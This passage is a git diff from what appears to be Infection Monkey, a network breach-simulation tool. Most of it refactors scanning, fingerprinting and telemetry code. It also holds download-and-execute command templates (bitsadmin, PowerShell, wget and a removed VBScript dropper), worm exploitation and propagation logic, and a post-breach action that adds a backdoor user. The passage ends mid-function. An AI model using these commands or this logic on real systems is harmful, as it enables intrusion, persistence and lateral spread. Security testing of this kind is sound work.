- LOG.exception("Exception thrown from monkey's start function")
+ except Exception as e:
+ LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
finally:
monkey.cleanup()
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e6c2e63a5..3e333a26d 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
@@ -40,4 +38,4 @@ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
-DOWNLOAD_TIMEOUT = 300
+DOWNLOAD_TIMEOUT = 180
diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py
new file mode 100644
index 000000000..1e9eba9c2
--- /dev/null
+++ b/monkey/infection_monkey/model/victim_host_generator.py
@@ -0,0 +1,45 @@
+from infection_monkey.model.host import VictimHost
+
+
+class VictimHostGenerator(object):
+ def __init__(self, network_ranges, blocked_ips, same_machine_ips):
+ self.blocked_ips = blocked_ips
+ self.ranges = network_ranges
+ self.local_addresses = same_machine_ips
+
+ def generate_victims(self, chunk_size):
+ """
+ Generates VictimHosts in chunks from all the instances network ranges
+ :param chunk_size: Maximum size of each chunk
+ """
+ chunk = []
+ for net_range in self.ranges:
+ for victim in self.generate_victims_from_range(net_range):
+ chunk.append(victim)
+ if len(chunk) == chunk_size:
+ yield chunk
+ chunk = []
+ if chunk: # finished with number of victims < chunk_size
+ yield chunk
+
+ def generate_victims_from_range(self, net_range):
+ """
+ Generates VictimHosts from a given netrange
+ :param net_range: Network range object
+ :return: Generator of VictimHost objects
+ """
+ for address in net_range:
+ if not self.is_ip_scannable(address): # check if the IP should be skipped
+ continue
+ if hasattr(net_range, 'domain_name'):
+ victim = VictimHost(address, net_range.domain_name)
+ else:
+ victim = VictimHost(address)
+ yield victim
+
+ def is_ip_scannable(self, ip_address):
+ if ip_address in self.local_addresses:
+ return False
+ if ip_address in self.blocked_ips:
+ return False
+ return True
diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/victim_host_generator_test.py
new file mode 100644
index 000000000..102014d45
--- /dev/null
+++ b/monkey/infection_monkey/model/victim_host_generator_test.py
@@ -0,0 +1,46 @@
+from unittest import TestCase
+from infection_monkey.model.victim_host_generator import VictimHostGenerator
+from common.network.network_range import CidrRange, SingleIpRange
+
+
+class VictimHostGeneratorTester(TestCase):
+
+ def setUp(self):
+ self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts
+ self.local_host_range = SingleIpRange('localhost')
+ self.random_single_ip_range = SingleIpRange('41.50.13.37')
+
+ def test_chunking(self):
+ chunk_size = 3
+ # current test setup is 15+1+1-1 hosts
+ test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range]
+ generator = VictimHostGenerator(test_ranges, '10.0.0.1', [])
+ victims = generator.generate_victims(chunk_size)
+ for i in range(5): # quickly check the equally sided chunks
+ self.assertEqual(len(victims.next()), chunk_size)
+ victim_chunk_last = victims.next()
+ self.assertEqual(len(victim_chunk_last), 1)
+
+ def test_remove_blocked_ip(self):
+ generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], [])
+
+ victims = list(generator.generate_victims_from_range(self.cidr_range))
+ self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked
+
+ def test_remove_local_ips(self):
+ generator = VictimHostGenerator([], [], [])
+ generator.local_addresses = ['127.0.0.1']
+ victims = list(generator.generate_victims_from_range(self.local_host_range))
+ self.assertEqual(len(victims), 0) # block the local IP
+
+ def test_generate_domain_victim(self):
+ # domain name victim
+ generator = VictimHostGenerator([], [], []) # dummy object
+ victims = list(generator.generate_victims_from_range(self.local_host_range))
+ self.assertEqual(len(victims), 1)
+ self.assertEqual(victims[0].domain_name, 'localhost')
+
+ # don't generate for other victims
+ victims = list(generator.generate_victims_from_range(self.random_single_ip_range))
+ self.assertEqual(len(victims), 1)
+ self.assertEqual(victims[0].domain_name, '')
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index df7bcf820..a4c72c439 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -7,7 +7,9 @@ import time
from six.moves import xrange
import infection_monkey.tunnel as tunnel
-import infection_monkey.utils as utils
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.model import DELAY_DELETE_CMD
@@ -15,10 +17,19 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
+from infection_monkey.telemetry.scan_telem import ScanTelem
+from infection_monkey.telemetry.state_telem import StateTelem
+from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
+from infection_monkey.telemetry.trace_telem import TraceTelem
+from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
-from common.utils.attack_utils import ScanStatus
-from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
__author__ = 'itamar'
@@ -39,6 +50,7 @@ class InfectionMonkey(object):
self._exploiters = None
self._fingerprint = None
self._default_server = None
+ self._default_server_port = None
self._depth = 0
self._opts = None
self._upgrading_to_64 = False
@@ -59,6 +71,7 @@ class InfectionMonkey(object):
self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server
+
if self._opts.depth:
WormConfiguration._depth_from_commandline = True
self._keep_running = True
@@ -75,12 +88,13 @@ class InfectionMonkey(object):
def start(self):
LOG.info("Monkey is running...")
- if not ControlClient.find_server(default_tunnel=self._default_tunnel):
- LOG.info("Monkey couldn't find server. Going down.")
+ # Sets island's IP and port for monkey to communicate to
+ if not self.set_default_server():
return
+ self.set_default_port()
# Create a dir for monkey files if there isn't one
- utils.create_monkey_dir()
+ create_monkey_dir()
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
@@ -92,6 +106,9 @@ class InfectionMonkey(object):
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config()
+ if is_windows_os():
+ T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
+
if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
return
@@ -103,27 +120,20 @@ class InfectionMonkey(object):
if monkey_tunnel:
monkey_tunnel.start()
- ControlClient.send_telemetry("state", {'done': False})
-
- self._default_server = WormConfiguration.current_server
- LOG.debug("default server: %s" % self._default_server)
- ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})
+ StateTelem(is_done=False).send()
+ TunnelTelem().send()
if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection")
system_info_collector = SystemInfoCollector()
system_info = system_info_collector.get_info()
- ControlClient.send_telemetry("system_info_collection", system_info)
-
- for action_class in WormConfiguration.post_breach_actions:
- action = action_class()
- action.act()
+ SystemInfoTelem(system_info).send()
+ # Executes post breach actions
PostBreach().execute()
if 0 == WormConfiguration.depth:
- LOG.debug("Reached max depth, shutting down")
- ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
+ TraceTelem("Reached max depth, shutting down").send()
return
else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
@@ -154,8 +164,7 @@ class InfectionMonkey(object):
machine, finger.__class__.__name__)
finger.get_host_fingerprint(machine)
- ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
- })
+ ScanTelem(machine).send()
# skip machines that we've already exploited
if machine in self._exploited_machines:
@@ -172,20 +181,25 @@ class InfectionMonkey(object):
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
- LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
- machine.set_default_server(self._default_server)
+ if self._network.on_island(self._default_server):
+ machine.set_default_server(get_interface_to_target(machine.ip_addr) +
+ (':'+self._default_server_port if self._default_server_port else ''))
+ else:
+ machine.set_default_server(self._default_server)
+ LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
# Order exploits according to their type
- self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
- host_exploited = False
- for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
- if self.try_exploiting(machine, exploiter):
- host_exploited = True
- VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
- break
- if not host_exploited:
- self._fail_exploitation_machines.add(machine)
- VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
+ if WormConfiguration.should_exploit:
+ self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
+ host_exploited = False
+ for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
+ if self.try_exploiting(machine, exploiter):
+ host_exploited = True
+ VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
+ break
+ if not host_exploited:
+ self._fail_exploitation_machines.add(machine)
+ VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
if not self._keep_running:
break
@@ -218,14 +232,13 @@ class InfectionMonkey(object):
InfectionMonkey.close_tunnel()
firewall.close()
else:
- ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
+ StateTelem(is_done=True).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
- utils.remove_monkey_dir()
InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@@ -238,9 +251,13 @@ class InfectionMonkey(object):
@staticmethod
def self_delete():
+ status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
+ T1107Telem(status, get_monkey_dir_path()).send()
+
if WormConfiguration.self_delete_in_cleanup \
and -1 == sys.executable.find('python'):
try:
+ status = None
if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
@@ -251,11 +268,15 @@ class InfectionMonkey(object):
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
+ status = ScanStatus.USED
except Exception as exc:
LOG.error("Exception in self delete: %s", exc)
+ status = ScanStatus.SCANNED
+ if status:
+ T1107Telem(status, sys.executable).send()
def send_log(self):
- monkey_log_path = utils.get_monkey_log_path()
+ monkey_log_path = get_monkey_log_path()
if os.path.exists(monkey_log_path):
with open(monkey_log_path, 'r') as f:
log = f.read()
@@ -286,7 +307,11 @@ class InfectionMonkey(object):
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
-
+ except ExploitingVulnerableMachineError as exc:
+ LOG.error("Exception while attacking %s using %s: %s",
+ machine, exploiter.__class__.__name__, exc)
+ self.successfully_exploited(machine, exploiter)
+ return True
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
@@ -310,3 +335,17 @@ class InfectionMonkey(object):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
+
+ def set_default_port(self):
+ try:
+ self._default_server_port = self._default_server.split(':')[1]
+ except KeyError:
+ self._default_server_port = ''
+
+ def set_default_server(self):
+ if not ControlClient.find_server(default_tunnel=self._default_tunnel):
+ LOG.info("Monkey couldn't find server. Going down.")
+ return False
+ self._default_server = WormConfiguration.current_server
+ LOG.debug("default server set to: %s" % self._default_server)
+ return True
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index a7f0f0396..d29adddb1 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -15,7 +15,7 @@ def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
- hookspath=None,
+ hookspath=['./pyinstaller_hooks'],
runtime_hooks=None,
binaries=None,
datas=None,
diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py
index e43fa7073..59a6d01d6 100644
--- a/monkey/infection_monkey/network/__init__.py
+++ b/monkey/infection_monkey/network/__init__.py
@@ -1,4 +1,4 @@
-from abc import ABCMeta, abstractmethod
+from abc import ABCMeta, abstractmethod, abstractproperty
__author__ = 'itamar'
@@ -14,10 +14,20 @@ class HostScanner(object):
class HostFinger(object):
__metaclass__ = ABCMeta
+ @abstractproperty
+ def _SCANNED_SERVICE(self):
+ pass
+
+ def init_service(self, services, service_key, port):
+ services[service_key] = {}
+ services[service_key]['display_name'] = self._SCANNED_SERVICE
+ services[service_key]['port'] = port
+
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
+
from infection_monkey.network.ping_scanner import PingScanner
from infection_monkey.network.tcp_scanner import TcpScanner
from infection_monkey.network.smbfinger import SMBFinger
@@ -26,4 +36,4 @@ from infection_monkey.network.httpfinger import HTTPFinger
from infection_monkey.network.elasticfinger import ElasticFinger
from infection_monkey.network.mysqlfinger import MySQLFinger
from infection_monkey.network.info import local_ips, get_free_tcp_port
-from infection_monkey.network.mssql_fingerprint import MSSQLFinger
\ No newline at end of file
+from infection_monkey.network.mssql_fingerprint import MSSQLFinger
diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py
index 3d62de687..aaac09be2 100644
--- a/monkey/infection_monkey/network/elasticfinger.py
+++ b/monkey/infection_monkey/network/elasticfinger.py
@@ -6,11 +6,11 @@ import requests
from requests.exceptions import Timeout, ConnectionError
import infection_monkey.config
+from common.data.network_consts import ES_SERVICE
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
ES_PORT = 9200
-ES_SERVICE = 'elastic-search-9200'
ES_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
__author__ = 'danielg'
@@ -20,6 +20,7 @@ class ElasticFinger(HostFinger):
"""
Fingerprints elastic search clusters, only on port 9200
"""
+ _SCANNED_SERVICE = 'Elastic search'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -35,7 +36,7 @@ class ElasticFinger(HostFinger):
url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
data = json.loads(req.text)
- host.services[ES_SERVICE] = {}
+ self.init_service(host.services, ES_SERVICE, ES_PORT)
host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
host.services[ES_SERVICE]['name'] = data['name']
host.services[ES_SERVICE]['version'] = data['version']['number']
diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py
index 829c6b1b5..30292d99f 100644
--- a/monkey/infection_monkey/network/httpfinger.py
+++ b/monkey/infection_monkey/network/httpfinger.py
@@ -10,6 +10,7 @@ class HTTPFinger(HostFinger):
"""
Goal is to recognise HTTP servers, where what we currently care about is apache.
"""
+ _SCANNED_SERVICE = 'HTTP'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -36,7 +37,7 @@ class HTTPFinger(HostFinger):
with closing(head(url, verify=False, timeout=1)) as req:
server = req.headers.get('Server')
ssl = True if 'https://' in url else False
- host.services['tcp-' + port[1]] = {}
+ self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http'
host.services['tcp-' + port[1]]['data'] = (server,ssl)
LOG.info("Port %d is open on host %s " % (port[0], host))
diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
index 75fde7465..7b666bf9f 100644
--- a/monkey/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger):
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
- SERVICE_NAME = 'MSSQL'
+ _SCANNED_SERVICE = 'MSSQL'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger):
sock.close()
return False
- host.services[self.SERVICE_NAME] = {}
+ self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
# Loop through the server data
instances_list = data[3:].decode().split(';;')
@@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger):
for instance in instances_list:
instance_info = instance.split(';')
if len(instance_info) > 1:
- host.services[self.SERVICE_NAME][instance_info[1]] = {}
+ host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name
- host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
-
+ host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket
sock.close()
diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py
index 70080c12b..123f0ae47 100644
--- a/monkey/infection_monkey/network/mysqlfinger.py
+++ b/monkey/infection_monkey/network/mysqlfinger.py
@@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306'
-
LOG = logging.getLogger(__name__)
@@ -16,7 +15,7 @@ class MySQLFinger(HostFinger):
"""
Fingerprints mysql databases, only on port 3306
"""
-
+ _SCANNED_SERVICE = 'MySQL'
SOCKET_TIMEOUT = 0.5
HEADER_SIZE = 4 # in bytes
@@ -52,14 +51,13 @@ class MySQLFinger(HostFinger):
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
version = version[0]
- host.services[SQL_SERVICE] = {}
+ self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
host.services[SQL_SERVICE]['version'] = version
version = version.split('-')[0].split('.')
host.services[SQL_SERVICE]['major_version'] = version[0]
host.services[SQL_SERVICE]['minor_version'] = version[1]
host.services[SQL_SERVICE]['build_version'] = version[2]
thread_id, curpos = struct_unpack_tracker(data, curpos, "= max_find:
- LOG.debug("Found max needed victims (%d), stopping scan", max_find)
-
- break
-
- if WormConfiguration.tcp_scan_interval:
- # time.sleep uses seconds, while config is in milliseconds
- time.sleep(WormConfiguration.tcp_scan_interval/float(1000))
+ if victims_count >= max_find:
+ LOG.debug("Found max needed victims (%d), stopping scan", max_find)
+ return
+ if WormConfiguration.tcp_scan_interval:
+ # time.sleep uses seconds, while config is in milliseconds
+ time.sleep(WormConfiguration.tcp_scan_interval / float(1000))
@staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
@@ -121,3 +104,19 @@ class NetworkScanner(object):
if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address):
return True
return False
+
+ def scan_machine(self, victim):
+ """
+ Scans specific machine using instance scanners
+ :param victim: VictimHost machine
+ :return: Victim or None if victim isn't alive
+ """
+ LOG.debug("Scanning target address: %r", victim)
+ if any([scanner.is_host_alive(victim) for scanner in self.scanners]):
+ LOG.debug("Found potential target_ip: %r", victim)
+ return victim
+ else:
+ return None
+
+ def on_island(self, server):
+ return bool([x for x in self._ip_addresses if x in server])
diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
index cbaecedfb..659722bc2 100644
--- a/monkey/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
+
+ _SCANNED_SERVICE = ''
+
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w")
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index ab92f2761..e17bf4a56 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger):
+ _SCANNED_SERVICE = 'SMB'
+
def __init__(self):
from infection_monkey.config import WormConfiguration
self._config = WormConfiguration
@@ -112,7 +114,7 @@ class SMBFinger(HostFinger):
s.settimeout(0.7)
s.connect((host.ip_addr, SMB_PORT))
- host.services[SMB_SERVICE] = {}
+ self.init_service(host.services, SMB_SERVICE, SMB_PORT)
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
n = SMBNego(data=SMBNegoFingerData())
@@ -150,7 +152,6 @@ class SMBFinger(HostFinger):
host.os['version'] = os_version
else:
host.services[SMB_SERVICE]['os-version'] = os_version
-
return True
except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc)
diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py
index 21deb8814..56779bb8f 100644
--- a/monkey/infection_monkey/network/sshfinger.py
+++ b/monkey/infection_monkey/network/sshfinger.py
@@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
+ _SCANNED_SERVICE = 'SSH'
+
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@@ -38,12 +40,13 @@ class SSHFinger(HostFinger):
banner = data.get('banner', '')
if self._banner_regex.search(banner):
self._banner_match(name, host, banner)
+ host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
return
is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)
if is_open:
- host.services[SSH_SERVICE_DEFAULT] = {}
+ self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)
if banner:
host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
index d864e3e73..e76c08b46 100644
--- a/monkey/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -11,6 +11,9 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
+
+ _SCANNED_SERVICE = 'unknown(TCP)'
+
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
@@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger):
self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port)
- host.services[service] = {}
+ self.init_service(host.services, service, target_port)
if banner:
host.services[service]['banner'] = banner
if only_one_port:
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 3a9adef57..5e448002c 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -10,7 +10,7 @@ import re
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
-from infection_monkey.utils import is_64bit_python
+from infection_monkey.utils.environment import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py
index 2bd5547b4..3a692dc66 100644
--- a/monkey/infection_monkey/post_breach/__init__.py
+++ b/monkey/infection_monkey/post_breach/__init__.py
@@ -1,4 +1 @@
__author__ = 'danielg'
-
-
-from add_user import BackdoorUser
diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py
new file mode 100644
index 000000000..17007f1e6
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/__init__.py
@@ -0,0 +1,11 @@
+from os.path import dirname, basename, isfile, join
+import glob
+
+
+def get_pba_files():
+ """
+ Gets all files under current directory(/actions)
+ :return: list of all files without .py ending
+ """
+ files = glob.glob(join(dirname(__file__), "*.py"))
+ return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
new file mode 100644
index 000000000..09c8d4796
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -0,0 +1,16 @@
+from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.config import WormConfiguration
+from infection_monkey.utils.users import get_commands_to_add_user
+
+
+class BackdoorUser(PBA):
+ def __init__(self):
+ linux_cmds, windows_cmds = get_commands_to_add_user(
+ WormConfiguration.user_to_add,
+ WormConfiguration.remote_user_pass)
+ super(BackdoorUser, self).__init__(
+ POST_BREACH_BACKDOOR_USER,
+ linux_cmd=' '.join(linux_cmds),
+ windows_cmd=windows_cmds)
+
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
new file mode 100644
index 000000000..04dff1441
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -0,0 +1,68 @@
+import logging
+import os
+import random
+import string
+import subprocess
+
+from infection_monkey.utils.new_user_error import NewUserError
+from infection_monkey.utils.auto_new_user_factory import create_auto_new_user
+from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+from infection_monkey.utils.environment import is_windows_os
+
+PING_TEST_DOMAIN = "google.com"
+
+CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
+CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
+
+USERNAME_PREFIX = "somenewuser"
+PASSWORD = "N3WPa55W0rD!1"
+
+logger = logging.getLogger(__name__)
+
+
+class CommunicateAsNewUser(PBA):
+ """
+ This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
+ pillar. See the relevant telemetry processing to see what findings are created.
+ """
+
+ def __init__(self):
+ super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
+
+ def run(self):
+ username = CommunicateAsNewUser.get_random_new_user_name()
+ try:
+ with create_auto_new_user(username, PASSWORD) as new_user:
+ ping_commandline = CommunicateAsNewUser.get_commandline_for_ping()
+ exit_status = new_user.run_as(ping_commandline)
+ self.send_ping_result_telemetry(exit_status, ping_commandline, username)
+ except subprocess.CalledProcessError as e:
